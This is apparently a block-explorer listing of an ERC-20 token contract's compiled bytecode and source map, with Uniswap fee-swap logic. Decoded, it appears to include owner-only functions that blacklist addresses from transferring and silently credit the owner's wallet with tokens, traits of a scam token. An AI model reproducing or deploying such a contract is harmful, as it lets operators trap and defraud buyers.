1e219190612b1f565b14611e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5890612bc2565b60405180910390fd5b809150505b92915050565b6000611eae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f14565b905092915050565b6000808284611ec591906128be565b905083811015611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0190612c2e565b60405180910390fd5b8091505092915050565b60008083118290611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f529190612010565b60405180910390fd5b5060008385611f6a9190612b1f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fb1578082015181840152602081019050611f96565b83811115611fc0576000848401525b50505050565b6000601f19601f8301169050919050565b6000611fe282611f77565b611fec8185611f82565b9350611ffc818560208601611f93565b61200581611fc6565b840191505092915050565b6000602082019050818103600083015261202a8184611fd7565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120678261203c565b9050919050565b6120778161205c565b811461208257600080fd5b50565b6000813590506120948161206e565b92915050565b6000819050919050565b6120ad8161209a565b81146120b857600080fd5b50565b6000813590506120ca816120a4565b92915050565b600080604083850312156120e7576120e6612032565b5b60006120f585828601612085565b9250506020612106858286016120bb565b9150509250929050565b60008115159050919050565b61212581612110565b82525050565b6000602082019050612140600083018461211c565b92915050565b6000819050919050565b600061216b6121666121618461203c565b612146565b61203c565b9050919050565b600061217d82612150565b9050919050565b600061218f82612172565b9050919050565b61219f81612184565b82525050565b60006020820190506121ba6000830184612196565b92915050565b6121c98161209a565b82525050565b60006020820190506121e460008301846121c0565b92915050565b60008060006060848603121561220357612202612032565b5b600061221186828701612085565b935050602061222286828701612085565b9250506040612233868287016120bb565b9150509250925092565b600060ff82169050919050565b6122538161223d565b82525050565b600060208201905061226e600083018461224a565b92915050565b60006020828403121561228a57612289612032565b5b600061229884828501612085565b91505092915050565b6122aa8161205c565b82525050565b60006020820190506122c560008301846122a1565b92915050565b6122d481612110565b81146122df57600080fd5b50565b6000813590506122f1816122cb565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261231c5761231b6122f7565b5b8235905067ffffffffffffffff811115612339576123386122fc565b5b60208301915083602082028301111561235557612354612301565b5b9250929050565b60008060006040848603121561237557612374612032565b5b6000612383868287016122e2565b935050602084013567ffffffffffffffff8111156123a4576123a3612037565b5b6123b086828701612306565b92509250509250925092565b60006123c78261203c565b9050919050565b6123d7816123bc565b82525050565b60006020820190506123f260008301846123ce565b92915050565b6000806040838503121561240f5761240e612032565b5b600061241d85828601612085565b925050602061242e85828601612085565b9150509250929050565b60006020828403121561244e5761244d612032565b5b600061245c848285016120bb565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124ac57607f821691505b6020821081036124bf576124be612465565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124fb602083611f82565b9150612506826124c5565b602082019050919050565b6000602082019050818103600083015261252a816124ee565b9050919050565b6000815190506125408161206e565b92915050565b60006020828403121561255c5761255b612032565b5b600061256a84828501612531565b91505092915050565b600060408201905061258860008301856122a1565b61259560208301846122a1565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126058261209a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612637576126366125cb565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061269e602483611f82565b91506126a982612642565b604082019050919050565b600060208201905081810360008301526126cd81612691565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612730602283611f82565b915061273b826126d4565b604082019050919050565b6000602082019050818103600083015261275f81612723565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127c2602583611f82565b91506127cd82612766565b604082019050919050565b600060208201905081810360008301526127f1816127b5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612854602383611f82565b915061285f826127f8565b604082019050919050565b6000602082019050818103600083015261288381612847565b9050919050565b60006128958261209a565b91506128a08361209a565b9250828210156128b3576128b26125cb565b5b828203905092915050565b60006128c98261209a565b91506128d48361209a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612909576129086125cb565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061296861296361295e84612943565b612146565b61209a565b9050919050565b6129788161294d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129b38161205c565b82525050565b60006129c583836129aa565b60208301905092915050565b6000602082019050919050565b60006129e98261297e565b6129f38185612989565b93506129fe8361299a565b8060005b83811015612a2f578151612a1688826129b9565b9750612a21836129d1565b925050600181019050612a02565b5085935050505092915050565b600060a082019050612a5160008301886121c0565b612a5e602083018761296f565b8181036040830152612a7081866129de565b9050612a7f60608301856122a1565b612a8c60808301846121c0565b9695505050505050565b6000612aa18261209a565b9150612aac8361209a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ae557612ae46125cb565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b2a8261209a565b9150612b358361209a565b925082612b4557612b44612af0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bac602183611f82565b9150612bb782612b50565b604082019050919050565b60006020820190508181036000830152612bdb81612b9f565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612c18601b83611f82565b9150612c2382612be2565b602082019050919050565b60006020820190508181036000830152612c4781612c0b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6ee8deb9f1239e4f9aa306f4423b6a1c8b07ecdb7a7acc4c8f574773b1b31d864736f6c634300080e0033

Deployed Bytecode

0x6080604052600436106101445760003560e01c80638da5cb5b116100b6578063c86079521161006f578063c86079521461046d578063cf4512e014610498578063d83797a8146104c3578063dd62ed3e14610500578063e79d4b701461053d578063f2fde38b146105665761014b565b80638da5cb5b1461035b57806395d89b4114610386578063a9059cbb146103b1578063c51fb706146103ee578063c5d2418914610417578063c816841b146104425761014b565b8063313ce56711610108578063313ce5671461024b5780633345611e146102765780633ecad271146102b3578063445a91f3146102f057806370a082311461030757806388b7264e146103445761014b565b806306fdde0314610150578063095ea7b31461017b5780631694505e146101b857806318160ddd146101e357806323b872dd1461020e5761014b565b3661014b57005b600080fd5b34801561015c57600080fd5b5061016561058f565b6040516101729190612010565b60405180910390f35b34801561018757600080fd5b506101a2600480360381019061019d91906120d0565b610621565b6040516101af919061212b565b60405180910390f35b3480156101c457600080fd5b506101cd61063f565b6040516101da91906121a5565b60405180910390f35b3480156101ef57600080fd5b506101f8610665565b60405161020591906121cf565b60405180910390f35b34801561021a57600080fd5b50610235600480360381019061023091906121ea565b61066f565b604051610242919061212b565b60405180910390f35b34801561025757600080fd5b50610260610749565b60405161026d9190612259565b60405180910390f35b34801561028257600080fd5b5061029d60048036038101906102989190612274565b610760565b6040516102aa919061212b565b60405180910390f35b3480156102bf57600080fd5b506102da60048036038101906102d59190612274565b610780565b6040516102e7919061212b565b60405180910390f35b3480156102fc57600080fd5b506103056107a0565b005b34801561031357600080fd5b5061032e60048036038101906103299190612274565b610b4b565b60405161033b91906121cf565b60405180910390f35b34801561035057600080fd5b50610359610b94565b005b34801561036757600080fd5b50610370610bf0565b60405161037d91906122b0565b60405180910390f35b34801561039257600080fd5b5061039b610c19565b6040516103a89190612010565b60405180910390f35b3480156103bd57600080fd5b506103d860048036038101906103d391906120d0565b610cab565b6040516103e5919061212b565b60405180910390f35b3480156103fa57600080fd5b506104156004803603810190610410919061235c565b610cca565b005b34801561042357600080fd5b5061042c610d83565b60405161043991906121cf565b60405180910390f35b34801561044e57600080fd5b50610457610d89565b60405161046491906122b0565b60405180910390f35b34801561047957600080fd5b50610482610daf565b60405161048f91906121cf565b60405180910390f35b3480156104a457600080fd5b506104ad610db5565b6040516104ba91906123dd565b60405180910390f35b3480156104cf57600080fd5b506104ea60048036038101906104e59190612274565b610ddb565b6040516104f7919061212b565b60405180910390f35b34801561050c57600080fd5b50610527600480360381019061052291906123f8565b610dfb565b60405161053491906121cf565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190612438565b610e82565b005b34801561057257600080fd5b5061058d60048036038101906105889190612274565b610e9e565b005b60606001805461059e90612494565b80601f01602080910402602001604051908101604052809291908181526020018280546105ca90612494565b80156106175780601f106105ec57610100808354040283529160200191610617565b820191906000526020600020905b8154815290600101906020018083116105fa57829003601f168201915b5050505050905090565b600061063561062e610ff0565b8484610ff8565b6001905092915050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600c54905090565b600061067c8484846111c1565b5061073e84610689610ff0565b61073985604051806060016040528060288152602001612c4f60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106ef610ff0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180a9092919063ffffffff16565b610ff8565b600190509392505050565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b60086020528060005260406000206000915054906101000a900460ff1681565b6107a8610ff0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610835576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082c90612511565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bd9190612546565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610924573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109489190612546565b6040518363ffffffff1660e01b8152600401610965929190612573565b6020604051808303816000875af1158015610984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a89190612546565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600c54600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160086000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bee57600080fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054610c2890612494565b80601f0160208091040260200160405190810160405280929190818152602001828054610c5490612494565b8015610ca15780601f10610c7657610100808354040283529160200191610ca1565b820191906000526020600020905b815481529060010190602001808311610c8457829003601f168201915b5050505050905090565b6000610cbf610cb8610ff0565b84846111c1565b506001905092915050565b610cd2610b94565b60005b82829050811015610d7d57606480141580610ced5750835b60096000858585818110610d0457610d0361259c565b5b9050602002016020810190610d199190612274565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d75906125fa565b915050610cd5565b50505050565b600a5481565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600b5481565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60096020528060005260406000206000915054906101000a900460ff1681565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e8a610b94565b600060049050610e9a828261186e565b5050565b610ea6610ff0565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f33576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2a90612511565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e906126b4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036110d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110cd90612746565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111b491906121cf565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603611231576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611228906127d8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112979061286a565b60405180910390fd5b600e60149054906101000a900460ff16156112c7576112c08484846118e9565b9050611803565b60006112d230610b4b565b9050600e60149054906101000a900460ff1615801561133b5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561134a5761134981611abc565b5b61139c83600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611da890919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806114825750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561148f57839050611702565b6000600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156114e857600080fd5b600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611569576115626064611554600a5488611df290919063ffffffff16565b611e6c90919063ffffffff16565b90506115e7565b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115e6576115e360646115d5600b5488611df290919063ffffffff16565b611e6c90919063ffffffff16565b90505b5b60008111156116eb5761164281600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb690919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116e291906121cf565b60405180910390a35b6116fe8186611da890919063ffffffff16565b9150505b61175481600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb690919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516117f491906121cf565b60405180910390a36001925050505b9392505050565b6000838311158290611852576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118499190612010565b60405180910390fd5b5060008385611861919061288a565b9050809150509392505050565b81816000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546118de91906128be565b925050819055505050565b6000611974826040518060400160405280601381526020017f496e756666696369656e742042616c616e636500000000000000000000000000815250600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180a9092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a0982600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611eb690919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611aa991906121cf565b60405180910390a3600190509392505050565b6001600e60146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611af457611af3612914565b5b604051908082528060200260200182016040528015611b225781602001602082028036833780820191505090505b5090503081600081518110611b3a57611b3961259c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611be1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c059190612546565b81600181518110611c1957611c1861259c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611c8030600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610ff8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611ce4959493929190612a3c565b600060405180830381600087803b158015611cfe57600080fd5b505af1925050508015611d0f575060015b5060004790506000811115611d8857600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611d86573d6000803e3d6000fd5b505b50506000600e60146101000a81548160ff02191690831515021790555050565b6000611dea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061180a565b905092915050565b6000808303611e045760009050611e66565b60008284611e129190612a96565b9050828482611e219190612b1f565b14611e61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5890612bc2565b60405180910390fd5b809150505b92915050565b6000611eae83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611f14565b905092915050565b6000808284611ec591906128be565b905083811015611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0190612c2e565b60405180910390fd5b8091505092915050565b60008083118290611f5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f529190612010565b60405180910390fd5b5060008385611f6a9190612b1f565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611fb1578082015181840152602081019050611f96565b83811115611fc0576000848401525b50505050565b6000601f19601f8301169050919050565b6000611fe282611f77565b611fec8185611f82565b9350611ffc818560208601611f93565b61200581611fc6565b840191505092915050565b6000602082019050818103600083015261202a8184611fd7565b905092915050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006120678261203c565b9050919050565b6120778161205c565b811461208257600080fd5b50565b6000813590506120948161206e565b92915050565b6000819050919050565b6120ad8161209a565b81146120b857600080fd5b50565b6000813590506120ca816120a4565b92915050565b600080604083850312156120e7576120e6612032565b5b60006120f585828601612085565b9250506020612106858286016120bb565b9150509250929050565b60008115159050919050565b61212581612110565b82525050565b6000602082019050612140600083018461211c565b92915050565b6000819050919050565b600061216b6121666121618461203c565b612146565b61203c565b9050919050565b600061217d82612150565b9050919050565b600061218f82612172565b9050919050565b61219f81612184565b82525050565b60006020820190506121ba6000830184612196565b92915050565b6121c98161209a565b82525050565b60006020820190506121e460008301846121c0565b92915050565b60008060006060848603121561220357612202612032565b5b600061221186828701612085565b935050602061222286828701612085565b9250506040612233868287016120bb565b9150509250925092565b600060ff82169050919050565b6122538161223d565b82525050565b600060208201905061226e600083018461224a565b92915050565b60006020828403121561228a57612289612032565b5b600061229884828501612085565b91505092915050565b6122aa8161205c565b82525050565b60006020820190506122c560008301846122a1565b92915050565b6122d481612110565b81146122df57600080fd5b50565b6000813590506122f1816122cb565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f84011261231c5761231b6122f7565b5b8235905067ffffffffffffffff811115612339576123386122fc565b5b60208301915083602082028301111561235557612354612301565b5b9250929050565b60008060006040848603121561237557612374612032565b5b6000612383868287016122e2565b935050602084013567ffffffffffffffff8111156123a4576123a3612037565b5b6123b086828701612306565b92509250509250925092565b60006123c78261203c565b9050919050565b6123d7816123bc565b82525050565b60006020820190506123f260008301846123ce565b92915050565b6000806040838503121561240f5761240e612032565b5b600061241d85828601612085565b925050602061242e85828601612085565b9150509250929050565b60006020828403121561244e5761244d612032565b5b600061245c848285016120bb565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806124ac57607f821691505b6020821081036124bf576124be612465565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006124fb602083611f82565b9150612506826124c5565b602082019050919050565b6000602082019050818103600083015261252a816124ee565b9050919050565b6000815190506125408161206e565b92915050565b60006020828403121561255c5761255b612032565b5b600061256a84828501612531565b91505092915050565b600060408201905061258860008301856122a1565b61259560208301846122a1565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006126058261209a565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612637576126366125cb565b5b600182019050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061269e602483611f82565b91506126a982612642565b604082019050919050565b600060208201905081810360008301526126cd81612691565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612730602283611f82565b915061273b826126d4565b604082019050919050565b6000602082019050818103600083015261275f81612723565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006127c2602583611f82565b91506127cd82612766565b604082019050919050565b600060208201905081810360008301526127f1816127b5565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612854602383611f82565b915061285f826127f8565b604082019050919050565b6000602082019050818103600083015261288381612847565b9050919050565b60006128958261209a565b91506128a08361209a565b9250828210156128b3576128b26125cb565b5b828203905092915050565b60006128c98261209a565b91506128d48361209a565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612909576129086125cb565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061296861296361295e84612943565b612146565b61209a565b9050919050565b6129788161294d565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6129b38161205c565b82525050565b60006129c583836129aa565b60208301905092915050565b6000602082019050919050565b60006129e98261297e565b6129f38185612989565b93506129fe8361299a565b8060005b83811015612a2f578151612a1688826129b9565b9750612a21836129d1565b925050600181019050612a02565b5085935050505092915050565b600060a082019050612a5160008301886121c0565b612a5e602083018761296f565b8181036040830152612a7081866129de565b9050612a7f60608301856122a1565b612a8c60808301846121c0565b9695505050505050565b6000612aa18261209a565b9150612aac8361209a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ae557612ae46125cb565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612b2a8261209a565b9150612b358361209a565b925082612b4557612b44612af0565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612bac602183611f82565b9150612bb782612b50565b604082019050919050565b60006020820190508181036000830152612bdb81612b9f565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612c18601b83611f82565b9150612c2382612be2565b602082019050919050565b60006020820190508181036000830152612c4781612c0b565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d6ee8deb9f1239e4f9aa306f4423b6a1c8b07ecdb7a7acc4c8f574773b1b31d864736f6c634300080e0033

Deployed Bytecode Sourcemap

3703:6659:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4367:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5819:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5487:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5252:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7614:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5161:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4063:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4120:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7140:464;;;;;;;;;;;;;:::i;:::-;;5360:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10051:79;;;;;;;;;;;;;:::i;:::-;;1381;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5574:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6965:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10138:219;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4220:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4783:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4262:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3948:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4172:39;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7937:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9720:178;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1587:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4367:83;4404:13;4437:5;4430:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4367:83;:::o;5819:161::-;5894:4;5911:39;5920:12;:10;:12::i;:::-;5934:7;5943:6;5911:8;:39: